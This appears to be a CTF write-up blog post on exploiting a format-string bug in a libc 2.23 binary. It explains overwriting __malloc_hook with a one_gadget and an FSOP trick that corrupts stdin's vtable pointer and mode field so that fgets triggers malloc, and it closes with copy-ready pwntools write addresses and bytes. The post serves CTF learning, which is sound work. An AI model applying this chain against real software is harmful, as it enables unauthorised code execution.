Random FSOP chain I found
So I was playing a challenge from a CTF and got a binary with the following source on libc 2.23
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-128h] BYREF
char s[264]; // [rsp+10h] [rbp-118h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-10h]
v6 = __readfsqword(0x28u);
setup();
banner();
puts("Zoro is lost again...");
puts("This scroll hides its secrets, but gives you one clue:");
printf("[+] Clue: %p\n", stdout);
puts("Write your path:");
if ( fgets(s, 0x108, stdin) )
{
if ( !(unsigned int)valid_format(s) )
goto LABEL_7;
printf(s);
puts("\nWrong path... try again:");
if ( fgets(v4, 10, stdin) )
{
if ( (unsigned int)valid_format(v4) )
{
printf(v4);
puts("\nZoro wanders off...");
return 0;
}
LABEL_7:
sanitize_part_0();
}
}
return 0;
}
The valid_format did some checks and stuff, but we could easily pass those, leading to the ability to write 9 bytes and the addresses we want.
Considering we have a libc leak, we could place a one_gadget in malloc_hook using 6 bytes of overwrite.
From here, there are two ways to solve this. First, for the intended solution, we can input %10000c for our second buffer, and then the printf will trigger malloc.
But what if we get into a situation where we don’t have that second printf? Let’s say the binary looked like this
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-128h] BYREF
char s[264]; // [rsp+10h] [rbp-118h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-10h]
v6 = __readfsqword(0x28u);
setup();
banner();
puts("Zoro is lost again...");
puts("This scroll hides its secrets, but gives you one clue:");
printf("[+] Clue: %p\n", stdout);
puts("Write your path:");
if ( fgets(s, 0x108, stdin) )
{
if ( !(unsigned int)valid_format(s) )
goto LABEL_7;
printf(s);
puts("\nWrong path... try again:");
fgets(v4, 10, stdin)
LABEL_7:
sanitize_part_0();
}
return 0;
}
Well, in this, we would have to somehow make the fgets trigger malloc, which seems impossible at first. So we first would have to check what fgets does.
So as not bore you, in short, it will give some instructions, then it will arrive at these ones.
fgets+0xa8
_IO_getline_info+0xa5
__uflow+0x57
0x710ed067b403 488b4028 <__uflow+0x53> mov rax, QWORD PTR [rax + 0x28]
-> 0x710ed067b407 ffe0 <__uflow+0x57> jmp rax
What it does is a call based on the vtable pointer, checking all possible vtable options. We can find the _IO_file_doallocate calls malloc internally. If we were just to call it directly, we would crash (we use 2 bytes of overwrite for this)
0x710ed066d19e <__GI__IO_file_doallocate+14>: mov eax,DWORD PTR [rdi+0x70]
0x710ed066d1a1 <__GI__IO_file_doallocate+17>: test eax,eax
0x710ed066d1a3 <__GI__IO_file_doallocate+19>: js 0x710ed066d1d8 <__GI__IO_file_doallocate+72>
0x710ed066d1a5 <__GI__IO_file_doallocate+21>: mov rax,QWORD PTR [rdi+0xd8]
0x710ed066d1ac <__GI__IO_file_doallocate+28>: mov rsi,rsp
0x710ed066d1af <__GI__IO_file_doallocate+31>: call QWORD PTR [rax+0x90]
0x710ed066d1b5 <__GI__IO_file_doallocate+37>: test eax,eax
0x710ed066d1b7 <__GI__IO_file_doallocate+39>: js 0x710ed066d1d8 <__GI__IO_file_doallocate+72>
0x710ed066d1b9 <__GI__IO_file_doallocate+41>: mov eax,DWORD PTR [rsp+0x18]
0x710ed066d1bd <__GI__IO_file_doallocate+45>: and eax,0xf000
0x710ed066d1c2 <__GI__IO_file_doallocate+50>: cmp eax,0x2000
0x710ed066d1c7 <__GI__IO_file_doallocate+55>: je 0x710ed066d218 <__GI__IO_file_doallocate+136>
0x710ed066d1c9 <__GI__IO_file_doallocate+57>: mov rbx,QWORD PTR [rsp+0x38]
0x710ed066d1ce <__GI__IO_file_doallocate+62>: test rbx,rbx
0x710ed066d1d1 <__GI__IO_file_doallocate+65>: jg 0x710ed066d1dd <__GI__IO_file_doallocate+77>
0x710ed066d1d3 <__GI__IO_file_doallocate+67>: nop DWORD PTR [rax+rax*1+0x0]
0x710ed066d1d8 <__GI__IO_file_doallocate+72>: mov ebx,0x2000
0x710ed066d1dd <__GI__IO_file_doallocate+77>: mov rdi,rbx
0x710ed066d1e0 <__GI__IO_file_doallocate+80>: call 0x710ed061f8a0 <malloc@plt>
This is because of the call QWORD PTR [rax+0x90] instruction, which would fail because we didn’t arrive here as intended. However, there is a way to skip it, if stdin->mode < 0, so with our last write, we will set the MSB to 1, and because operations are signed, the program will believe it contains a negative number, so it goes to malloc directly.
For those who like to copy paste, here are the writes
write_locations = [libc.sym['__malloc_hook'], libc.sym['__malloc_hook'] + 1, libc.sym['__malloc_hook'] + 2, libc.sym['__malloc_hook'] + 3, libc.sym['__malloc_hook'] + 4, libc.sym['__malloc_hook'] + 5, libc.sym['_IO_2_1_stdin_'] + 216, libc.sym['_IO_2_1_stdin_'] + 217, libc.sym['_IO_2_1_stdin_'] + 0x70 + 3]
write_bytes = p64(libc.address + 0x4527a)[:-2] + p64(libc.sym['__GI__IO_file_jumps'] + 0x40)[:2] + b'\x80' # the libc addr is a one_gadget